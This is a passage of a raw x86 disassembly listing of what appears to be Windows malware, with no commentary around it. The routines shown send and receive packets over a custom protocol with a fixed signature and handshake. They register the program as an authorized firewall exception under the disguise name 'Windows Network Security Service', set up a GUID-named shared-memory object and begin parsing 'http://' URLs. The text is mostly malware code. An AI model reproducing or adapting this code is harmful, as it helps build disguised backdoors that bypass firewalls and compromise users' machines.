arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_C] test esi, esi jl short loc_401AF3 cmp esi, 0FFFFh jle short loc_401AFA loc_401AF3: ; CODE XREF: sub_401ADA+Fj xor eax, eax jmp loc_401B88 ; --------------------------------------------------------------------------- loc_401AFA: ; CODE XREF: sub_401ADA+17j cmp [ebp+arg_10], 0 jz short loc_401B07 push ebx call sub_401A55 pop ecx loc_401B07: ; CODE XREF: sub_401ADA+24j mov edi, [ebx+46Ch] mov word ptr [edi], 29Ah add edi, 2 mov ax, [ebp+arg_4] mov [edi], ax add edi, 2 mov ax, si mov [edi], ax add edi, 2 test esi, esi jz short loc_401B39 push esi push [ebp+arg_8] push edi call sub_4076F0 add esp, 0Ch loc_401B39: ; CODE XREF: sub_401ADA+50j add esi, 6 push esi movzx eax, [ebp+arg_4] push eax push offset aPktsendIIBytes ; "PktSend(%i): %i bytes\n" call nullsub_2 add esp, 0Ch cmp [ebp+arg_10], 0 jz short loc_401B68 push esi push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401B68: ; CODE XREF: sub_401ADA+79j push esi push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_401787 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], esi jge short loc_401B85 xor eax, eax jmp short loc_401B88 ; --------------------------------------------------------------------------- loc_401B85: ; CODE XREF: sub_401ADA+A5j xor eax, eax inc eax loc_401B88: ; CODE XREF: sub_401ADA+1Bj ; sub_401ADA+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401ADA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B8F proc near ; CODE XREF: DMN0:00401F47p ; sub_403C3F+20Bp arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] movzx eax, [ebp+arg_4] push eax push [ebp+arg_0] call sub_401ADA add esp, 14h pop ebp retn sub_401B8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BAC proc near ; CODE XREF: sub_401D5B+11p ; DMN0:00401E35p var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_10] mov edx, [ebp+arg_4] mov word ptr [edx], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_C] test eax, eax jl short loc_401BD5 cmp eax, 0FFFFh jle short loc_401BDD loc_401BD5: ; CODE XREF: sub_401BAC+20j or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401BDD: ; CODE XREF: sub_401BAC+27j test esi, esi jz short loc_401BE8 push ebx call sub_401A55 pop ecx loc_401BE8: ; CODE XREF: sub_401BAC+33j push 2 lea eax, [ebp+var_6] push eax push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401C0F mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C0F: ; CODE XREF: sub_401BAC+51j test esi, esi jz short loc_401C25 push 2 lea eax, [ebp+var_6] push eax lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401C25: ; CODE XREF: sub_401BAC+65j cmp [ebp+var_6], 29Ah jz short loc_401C48 movzx eax, [ebp+var_6] push eax push offset aPktrecvInvalid ; "PktRecv(): invalid signature (%i)\n" call nullsub_2 pop ecx pop ecx mov eax, 0FFFFFFFEh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C48: ; CODE XREF: sub_401BAC+7Fj push 2 push [ebp+arg_4] push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401C6E mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401C6E: ; CODE XREF: sub_401BAC+B0j test esi, esi jz short loc_401C83 push 2 push [ebp+arg_4] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401C83: ; CODE XREF: sub_401BAC+C4j mov eax, [ebp+arg_4] movzx eax, word ptr [eax] push eax push offset aPktrecvPacketi ; "PktRecv(): packetId: 0x%03x\n" call nullsub_2 pop ecx pop ecx push 2 lea eax, [ebp+var_4] push eax push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, 2 jge short loc_401CBD mov edx, [ebp+arg_4] mov word ptr [edx], 0 or eax, 0FFFFFFFFh jmp loc_401D54 ; --------------------------------------------------------------------------- loc_401CBD: ; CODE XREF: sub_401BAC+FFj test esi, esi jz short loc_401CD3 push 2 lea eax, [ebp+var_4] push eax lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401CD3: ; CODE XREF: sub_401BAC+113j push [ebp+arg_C] push [ebp+var_4] push offset aProtorecvDataS ; "protorecv(): data size: %i (of %i)\n" call nullsub_2 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_401D0B push [ebp+var_4] push dword ptr [ebx+46Ch] push dword ptr [ebx] call sub_4016DC add esp, 0Ch mov edi, eax cmp edi, [ebp+var_4] jge short loc_401D0B or eax, 0FFFFFFFFh jmp short loc_401D54 ; --------------------------------------------------------------------------- loc_401D0B: ; CODE XREF: sub_401BAC+13Ej ; sub_401BAC+158j test esi, esi jz short loc_401D24 push [ebp+var_4] push dword ptr [ebx+46Ch] lea eax, [ebx+64h] push eax call sub_40193B add esp, 0Ch loc_401D24: ; CODE XREF: sub_401BAC+161j cmp [ebp+arg_8], 0 jz short loc_401D51 mov eax, [ebp+arg_C] cmp [ebp+var_4], eax jle short loc_401D38 mov eax, [ebp+arg_C] mov [ebp+var_4], eax loc_401D38: ; CODE XREF: sub_401BAC+184j mov eax, [ebp+var_4] test eax, eax jz short loc_401D51 push eax push dword ptr [ebx+46Ch] push [ebp+arg_8] call sub_4076F0 add esp, 0Ch loc_401D51: ; CODE XREF: sub_401BAC+17Cj ; sub_401BAC+191j mov eax, [ebp+var_4] loc_401D54: ; CODE XREF: sub_401BAC+2Cj ; sub_401BAC+5Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401BAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D5B proc near ; CODE XREF: sub_401F51+18p ; sub_403C3F+26Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401BAC add esp, 14h pop ebp retn sub_401D5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D76 proc near ; CODE XREF: sub_403C3F+166p var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = word ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 80h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] lea edi, [ebp+var_80] lea edi, [ebp+var_80] mov word ptr [edi], 1 add edi, 2 mov word ptr [edi], 10h add edi, 2 and dword ptr [edi], 0 add edi, 4 mov ax, [ebp+arg_4] mov [edi], ax add edi, 4 or esi, 1000h mov ax, si mov [edi], ax add edi, 2 mov word ptr [edi], 40h add edi, 2 mov word ptr [edi], 20h add edi, 2 push 40h lea eax, [ebx+4] push eax push edi call sub_4076F0 add esp, 0Ch add edi, 40h push 20h lea eax, [ebx+44h] push eax push edi call sub_4076F0 add esp, 0Ch add edi, 20h push 0 lea eax, [ebp+var_80] mov edx, edi sub edx, eax push edx lea eax, [ebp+var_80] push eax push 1 push ebx call sub_401ADA add esp, 14h pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_401D76 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 84h push ebx push esi push edi lea ebx, [ebp-80h] push 0 push 80h lea eax, [ebp-80h] push eax lea eax, [ebp-84h] push eax push dword ptr [ebp+8] call sub_401BAC add esp, 14h mov esi, eax cmp word ptr [ebp-84h], 1 jnz short loc_401E4E cmp esi, 0Ah jge short loc_401E7B loc_401E4E: ; CODE XREF: DMN0:00401E47j cmp esi, 0Ah jge short loc_401E60 push offset aHandshakeRecvE ; "Handshake: recv() error\n" call nullsub_2 pop ecx jmp short loc_401E74 ; --------------------------------------------------------------------------- loc_401E60: ; CODE XREF: DMN0:00401E51j movzx eax, word ptr [ebp-84h] push eax push offset aHandshakeBadPa ; "Handshake: bad packed (%i)\n" call nullsub_2 pop ecx pop ecx loc_401E74: ; CODE XREF: DMN0:00401E5Ej xor eax, eax jmp loc_401F2F ; --------------------------------------------------------------------------- loc_401E7B: ; CODE XREF: DMN0:00401E4Cj lea ebx, [ebp-80h] cmp word ptr [ebx], 1 jz short loc_401E9B movzx eax, word ptr [ebx] push eax push offset aHandshakeBadVe ; "Handshake: bad version (%i)\n" call nullsub_2 pop ecx pop ecx xor eax, eax jmp loc_401F2F ; --------------------------------------------------------------------------- loc_401E9B: ; CODE XREF: DMN0:00401E82j add ebx, 2 mov edx, [ebp+0Ch] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 add ebx, 4 mov edx, [ebp+10h] mov ax, [ebx] mov [edx], ax add ebx, 4 mov edx, [ebp+14h] movzx eax, word ptr [ebx] mov [edx], eax add ebx, 2 mov ax, [ebx] mov [ebp-82h], ax add ebx, 2 cmp word ptr [ebp-82h], 40h jz short loc_401EDE xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401EDE: ; CODE XREF: DMN0:00401ED8j mov di, [ebx] add ebx, 2 cmp di, 20h jz short loc_401EEE xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401EEE: ; CODE XREF: DMN0:00401EE8j sub esi, 10h movzx eax, word ptr [ebp-82h] movzx edx, di add eax, edx cmp esi, eax jge short loc_401F05 xor eax, eax jmp short loc_401F2F ; --------------------------------------------------------------------------- loc_401F05: ; CODE XREF: DMN0:00401EFFj push 40h push ebx mov eax, [ebp+8] add eax, 4 push eax call sub_4076F0 add esp, 0Ch add ebx, 40h push 20h push ebx mov eax, [ebp+8] add eax, 44h push eax call sub_4076F0 add esp, 0Ch xor eax, eax inc eax loc_401F2F: ; CODE XREF: DMN0:00401E76j ; DMN0:00401E96j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 1 lea eax, [ebp+0Ch] push eax push 29Ah push dword ptr [ebp+8] call sub_401B8F add esp, 10h pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F51 proc near ; CODE XREF: sub_403C3F+18Ep ; sub_403C3F+245p var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov [ebp+var_2], 0 push 1 lea eax, [ebp+var_2] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_401D5B add esp, 10h mov ebx, eax cmp [ebp+var_4], 29Ah jnz short loc_401F80 cmp ebx, 1 jz short loc_401F85 loc_401F80: ; CODE XREF: sub_401F51+28j or eax, 0FFFFFFFFh jmp short loc_401F89 ; --------------------------------------------------------------------------- loc_401F85: ; CODE XREF: sub_401F51+2Dj movzx eax, [ebp+var_2] loc_401F89: ; CODE XREF: sub_401F51+32j pop ebx mov esp, ebp pop ebp retn sub_401F51 endp ; =============== S U B R O U T I N E ======================================= sub_401F8E proc near ; CODE XREF: sub_4067B0+3Ap push ebx push 10h call sub_401048 pop ecx mov ebx, eax pop ebx retn sub_401F8E endp ; =============== S U B R O U T I N E ======================================= sub_401F9B proc near ; CODE XREF: DMN0:00401FD4p ; DMN0:004021DFp ... arg_0 = dword ptr 4 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_401FC6 mov esi, [ebx+4] jmp short loc_401FB7 ; --------------------------------------------------------------------------- loc_401FAB: ; CODE XREF: sub_401F9B+1Ej mov edi, esi mov esi, [esi+8] push edi call sub_401076 pop ecx loc_401FB7: ; CODE XREF: sub_401F9B+Ej test esi, esi jnz short loc_401FAB and dword ptr [ebx], 0 and dword ptr [ebx+4], 0 and dword ptr [ebx+8], 0 loc_401FC6: ; CODE XREF: sub_401F9B+9j pop edi pop esi pop ebx retn sub_401F9B endp ; --------------------------------------------------------------------------- push ebx mov ebx, [esp+8] test ebx, ebx jz short loc_401FE1 push ebx call sub_401F9B pop ecx push ebx call sub_401076 pop ecx loc_401FE1: ; CODE XREF: DMN0:00401FD1j pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_401FE3 proc near ; CODE XREF: sub_4042CD+B0p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx mov ecx, [esp+4+arg_4] mov bx, [esp+4+arg_8] mov eax, [esp+4+arg_0] mov edx, [eax+4] jmp short loc_40200A ; --------------------------------------------------------------------------- loc_401FF6: ; CODE XREF: sub_401FE3+29j cmp [edx+4], ecx jnz short loc_402007 test bx, bx jz short loc_402005 cmp [edx], bx jnz short loc_402007 loc_402005: ; CODE XREF: sub_401FE3+1Bj jmp short loc_40200E ; --------------------------------------------------------------------------- loc_402007: ; CODE XREF: sub_401FE3+16j ; sub_401FE3+20j mov edx, [edx+8] loc_40200A: ; CODE XREF: sub_401FE3+11j test edx, edx jnz short loc_401FF6 loc_40200E: ; CODE XREF: sub_401FE3:loc_402005j mov eax, edx pop ebx retn sub_401FE3 endp ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push 14h call sub_401048 pop ecx mov esi, eax mov eax, [ebx+4] mov [esi+8], eax mov [ebx+4], esi cmp dword ptr [ebx], 0 jnz short loc_402032 mov [ebx], esi loc_402032: ; CODE XREF: DMN0:0040202Ej inc dword ptr [ebx+8] mov eax, [esp+10h] mov [esi+4], eax mov ax, [esp+14h] mov [esi], ax mov eax, esi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_402049 proc near ; CODE XREF: DMN0:004021F6p ; sub_403B86+43p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi mov ebx, [esp+8+arg_0] push 14h call sub_401048 pop ecx mov esi, eax cmp dword ptr [ebx], 0 jz short loc_402067 mov edx, [ebx] mov [edx+8], esi mov [ebx], esi jmp short loc_40206C ; --------------------------------------------------------------------------- loc_402067: ; CODE XREF: sub_402049+13j mov [ebx], esi mov [ebx+4], esi loc_40206C: ; CODE XREF: sub_402049+1Cj inc dword ptr [ebx+8] mov eax, [esp+8+arg_4] mov [esi+4], eax mov ax, [esp+8+arg_8] mov [esi], ax mov eax, esi pop esi pop ebx retn sub_402049 endp ; =============== S U B R O U T I N E ======================================= sub_402083 proc near ; CODE XREF: DMN0:0040219Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = word ptr 0Ch push ebx push esi push edi mov bx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_4020B0 ; --------------------------------------------------------------------------- loc_402096: ; CODE XREF: sub_402083+2Fj mov eax, [esp+0Ch+arg_4] cmp [esi+4], eax jnz short loc_4020AB test bx, bx jz short loc_4020A9 cmp [esi], bx jnz short loc_4020AB loc_4020A9: ; CODE XREF: sub_402083+1Fj jmp short loc_4020B4 ; --------------------------------------------------------------------------- loc_4020AB: ; CODE XREF: sub_402083+1Aj ; sub_402083+24j mov edi, esi mov esi, [esi+8] loc_4020B0: ; CODE XREF: sub_402083+11j test esi, esi jnz short loc_402096 loc_4020B4: ; CODE XREF: sub_402083:loc_4020A9j test esi, esi jnz short loc_4020BC xor eax, eax jmp short loc_402102 ; --------------------------------------------------------------------------- loc_4020BC: ; CODE XREF: sub_402083+33j test edi, edi jz short loc_4020D6 mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_4020CE mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_4020CE: ; CODE XREF: sub_402083+43j mov eax, [esi+8] mov [edi+8], eax jmp short loc_4020F1 ; --------------------------------------------------------------------------- loc_4020D6: ; CODE XREF: sub_402083+3Bj mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_4020F1 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_4020F1: ; CODE XREF: sub_402083+51j ; sub_402083+65j mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_401076 pop ecx xor eax, eax inc eax loc_402102: ; CODE XREF: sub_402083+37j pop edi pop esi pop ebx retn sub_402083 endp ; =============== S U B R O U T I N E ======================================= sub_402106 proc near ; CODE XREF: DMN0:004021C5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi mov ebx, [esp+0Ch+arg_8] xor edi, edi mov eax, [esp+0Ch+arg_0] mov esi, [eax+4] jmp short loc_402128 ; --------------------------------------------------------------------------- loc_402118: ; CODE XREF: sub_402106+24j mov eax, [esp+0Ch+arg_4] sub eax, [esi+10h] cmp eax, ebx jnb short loc_40212C mov edi, esi mov esi, [esi+8] loc_402128: ; CODE XREF: sub_402106+10j test esi, esi jnz short loc_402118 loc_40212C: ; CODE XREF: sub_402106+1Bj test esi, esi jnz short loc_402134 xor eax, eax jmp short loc_40217A ; --------------------------------------------------------------------------- loc_402134: ; CODE XREF: sub_402106+28j test edi, edi jz short loc_40214E mov eax, [esp+0Ch+arg_0] cmp esi, [eax] jnz short loc_402146 mov edx, [esp+0Ch+arg_0] mov [edx], edi loc_402146: ; CODE XREF: sub_402106+38j mov eax, [esi+8] mov [edi+8], eax jmp short loc_402169 ; --------------------------------------------------------------------------- loc_40214E: ; CODE XREF: sub_402106+30j mov edx, [esp+0Ch+arg_0] mov eax, [esi+8] mov [edx+4], eax mov eax, [esp+0Ch+arg_0] cmp dword ptr [eax+4], 0 jnz short loc_402169 mov edx, [esp+0Ch+arg_0] and dword ptr [edx], 0 loc_402169: ; CODE XREF: sub_402106+46j ; sub_402106+5Aj mov eax, [esp+0Ch+arg_0] dec dword ptr [eax+8] push esi call sub_401076 pop ecx xor eax, eax inc eax loc_40217A: ; CODE XREF: sub_402106+2Cj pop edi pop esi pop ebx retn sub_402106 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov si, [ebp+10h] xor edi, edi jmp short loc_402192 ; --------------------------------------------------------------------------- loc_40218F: ; CODE XREF: DMN0:004021A4j xor edi, edi inc edi loc_402192: ; CODE XREF: DMN0:0040218Dj movzx eax, si push eax push ebx push dword ptr [ebp+8] call sub_402083 add esp, 0Ch test eax, eax jnz short loc_40218F mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi mov ebx, [ebp+0Ch] mov esi, [ebp+10h] xor edi, edi jmp short loc_4021C0 ; --------------------------------------------------------------------------- loc_4021BD: ; CODE XREF: DMN0:004021CFj xor edi, edi inc edi loc_4021C0: ; CODE XREF: DMN0:004021BBj push esi push ebx push dword ptr [ebp+8] call sub_402106 add esp, 0Ch test eax, eax jnz short loc_4021BD mov eax, edi pop edi pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- push ebx push esi mov ebx, [esp+0Ch] push ebx call sub_401F9B pop ecx mov eax, [esp+10h] mov esi, [eax+4] jmp short loc_402201 ; --------------------------------------------------------------------------- loc_4021EE: ; CODE XREF: DMN0:00402203j movzx eax, word ptr [esi] push eax push dword ptr [esi+4] push ebx call sub_402049 add esp, 0Ch mov esi, [esi+8] loc_402201: ; CODE XREF: DMN0:004021ECj test esi, esi jnz short loc_4021EE pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402208 proc near ; CODE XREF: sub_402296+98p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E24 test eax, eax jnz short loc_40225A push [ebp+arg_C] call sub_407710 pop ecx inc eax push eax push [ebp+arg_C] push 1 push 0 push [ebp+arg_8] push [ebp+var_4] call dword_411E28 push [ebp+var_4] call dword_411E2C loc_40225A: ; CODE XREF: sub_402208+29j mov esp, ebp pop ebp retn sub_402208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40225E proc near ; CODE XREF: DMN0:0040237Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax lea eax, [ebp+var_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_411E30 test eax, eax jnz short loc_402292 push [ebp+arg_8] push [ebp+var_4] call dword_411E34 push [ebp+var_4] call dword_411E2C loc_402292: ; CODE XREF: sub_40225E+1Dj mov esp, ebp pop ebp retn sub_40225E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402296 proc near ; CODE XREF: sub_4067B0:loc_4069E1p var_20A = byte ptr -20Ah var_105 = byte ptr -105h push ebp mov ebp, esp sub esp, 20Ch push ebx push 104h lea eax, [ebp+var_105] push eax push 0 call dword_411CDC mov ebx, eax mov [ebp+ebx+var_105], 0 cmp [ebp+var_105], 0 jz short loc_402336 lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax call sub_407730 pop ecx pop ecx push dword_4128A4 lea eax, [ebp+var_105] push eax call sub_407750 pop ecx pop ecx push offset aEnabled ; ":*:Enabled:" lea eax, [ebp+var_105] push eax call sub_407750 pop ecx pop ecx push offset aWindowsNetwork ; "Windows Network Security Service" lea eax, [ebp+var_105] push eax call sub_407750 pop ecx pop ecx lea eax, [ebp+var_105] push eax lea eax, [ebp+var_20A] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_402208 add esp, 10h loc_402336: ; CODE XREF: sub_402296+2Fj pop ebx mov esp, ebp pop ebp retn sub_402296 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 108h push ebx push 104h lea eax, [ebp-105h] push eax push 0 call dword_411CDC mov ebx, eax mov byte ptr [ebp+ebx-105h], 0 cmp byte ptr [ebp-105h], 0 jz short loc_402385 lea eax, [ebp-105h] push eax push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"... push 80000002h call sub_40225E add esp, 0Ch loc_402385: ; CODE XREF: DMN0:0040236Aj pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40238A proc near ; CODE XREF: sub_4023DC+2p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx cmp dword_411008, 0 jnz short loc_4023D7 push 14h push 40h call dword_411CE0 mov ebx, eax push 1 push ebx call dword_411E38 push 0 push 0 push 1 push ebx call dword_411E3C mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], 1 mov dword_411008, 1 loc_4023D7: ; CODE XREF: sub_40238A+Ej pop ebx mov esp, ebp pop ebp retn sub_40238A endp ; =============== S U B R O U T I N E ======================================= sub_4023DC proc near ; CODE XREF: sub_403C3F+7Fp ; sub_4067B0+23Fp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi call sub_40238A push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 100h push 0 push 4 push offset dword_412928 push 0FFFFFFFFh call dword_411CE4 mov ebx, eax test eax, eax jz short loc_402446 call dword_411CE8 cmp eax, 0B7h jz short loc_402444 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC mov esi, eax test esi, esi jz short loc_402444 mov ax, [esp+8+arg_0] mov [esi], ax mov ax, [esp+8+arg_4] mov [esi+2], ax push esi call dword_411CF0 loc_402444: ; CODE XREF: sub_4023DC+36j ; sub_4023DC+4Ej mov eax, ebx loc_402446: ; CODE XREF: sub_4023DC+29j pop esi pop ebx retn sub_4023DC endp ; =============== S U B R O U T I N E ======================================= sub_402449 proc near ; CODE XREF: sub_403C3F+9Bp arg_0 = word ptr 4 arg_4 = word ptr 8 push ebx push esi push edi xor edi, edi push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 mov ebx, eax test eax, eax jz short loc_4024A2 push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC mov esi, eax test esi, esi jz short loc_402499 mov ax, [esp+0Ch+arg_0] mov [esi], ax mov ax, [esp+0Ch+arg_4] mov [esi+2], ax push esi call dword_411CF0 xor edi, edi inc edi loc_402499: ; CODE XREF: sub_402449+33j push ebx call dword_411CF8 mov eax, edi loc_4024A2: ; CODE XREF: sub_402449+1Bj pop edi pop esi pop ebx retn sub_402449 endp ; =============== S U B R O U T I N E ======================================= sub_4024A6 proc near ; CODE XREF: sub_404967+87p arg_0 = dword ptr 4 push ebx push esi push edi xor si, si push offset a6ea9b038C8014f ; "{6EA9B038-C801-4F76-805F-E41ACF9ED165}" push 0 push 0F001Fh call dword_411CF4 mov ebx, eax test ebx, ebx jnz short loc_4024CB mov eax, 0FFFFh jmp short loc_40250D ; --------------------------------------------------------------------------- loc_4024CB: ; CODE XREF: sub_4024A6+1Cj push 20h push 0 push 0 push 0F001Fh push ebx call dword_411CEC mov edi, eax test edi, edi jz short loc_402503 mov si, [edi] test si, si jz short loc_4024F8 mov edx, [esp+0Ch+arg_0] mov ax, [edi+2] mov [edx], ax jmp short loc_4024FC ; --------------------------------------------------------------------------- loc_4024F8: ; CODE XREF: sub_4024A6+43j mov si, 0FFFFh loc_4024FC: ; CODE XREF: sub_4024A6+50j push edi call dword_411CF0 loc_402503: ; CODE XREF: sub_4024A6+3Bj push ebx call dword_411CF8 movzx eax, si loc_40250D: ; CODE XREF: sub_4024A6+23j pop edi pop esi pop ebx retn sub_4024A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402511 proc near ; CODE XREF: sub_4025A9+2Dp ; sub_402B02+23Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi push edi mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov esi, [ebp+arg_0] push esi call sub_407710 pop ecx mov edi, eax push [ebp+var_4] call sub_407710 pop ecx mov ebx, eax jmp short loc_402555 ; --------------------------------------------------------------------------- loc_402537: ; CODE XREF: sub_402511+46j push ebx push [ebp+var_4] push ebx push esi push 1 push 400h call dword_411CFC cmp eax, 2 jnz short loc_402553 mov eax, esi jmp short loc_40255B ; --------------------------------------------------------------------------- loc_402553: ; CODE XREF: sub_402511+3Cj inc esi dec edi loc_402555: ; CODE XREF: sub_402511+24j cmp edi, ebx jge short loc_402537 xor eax, eax loc_40255B: ; CODE XREF: sub_402511+40j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_402511 endp ; =============== S U B R O U T I N E ======================================= sub_402562 proc near ; CODE XREF: sub_4025A9+1C4p ; sub_402896+12Cp arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] call dword_411CC4 lea esi, [eax+7D0h] loc_402574: ; CODE XREF: sub_402562+40j push ebx call sub_401542 pop ecx test eax, eax jle short loc_402584 xor eax, eax inc eax jmp short loc_4025A6 ; --------------------------------------------------------------------------- loc_402584: ; CODE XREF: sub_402562+1Bj push offset a_ ; "." call sub_407320 pop ecx push 12Ch call dword_411D00 call dword_411CC4 cmp eax, esi jb short loc_402574 xor eax, eax loc_4025A6: ; CODE XREF: sub_402562+20j pop esi pop ebx retn sub_402562 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4025A9 proc near ; CODE XREF: sub_402B02+337p var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = byte ptr -45Ch var_5C = word ptr -5Ch var_5A = word ptr -5Ah var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 468h push ebx push esi push edi push 10h push 0 lea eax, [ebp+var_5C] push eax call sub_407690 add esp, 0Ch mov [ebp+var_5C], 2 xor di, di push offset aHttp ; "http://" push [ebp+arg_0] call sub_402511 pop ecx pop ecx mov ebx, eax test ebx, ebx jnz short loc_4025EB xor eax, eax jmp loc_40288F ; --------------------------------------------------------------------------- loc_4025EA: ; CODE XREF: sub_4025A9+4Aj inc ebx loc_4025EB: ; CODE XREF: sub_4025A9+38j mov al, [ebx] test al, al jz short loc_4025F5 cmp al, 2Fh jnz short loc_4025EA loc_4025F5: ; CODE XREF: sub_4025A9+46j jmp short loc_4025F8 ; --------------------------------------------------------------------------- loc_4025F7: ; CODE XREF: sub_4025A9+57j inc ebx loc_4025F8: ; CODE 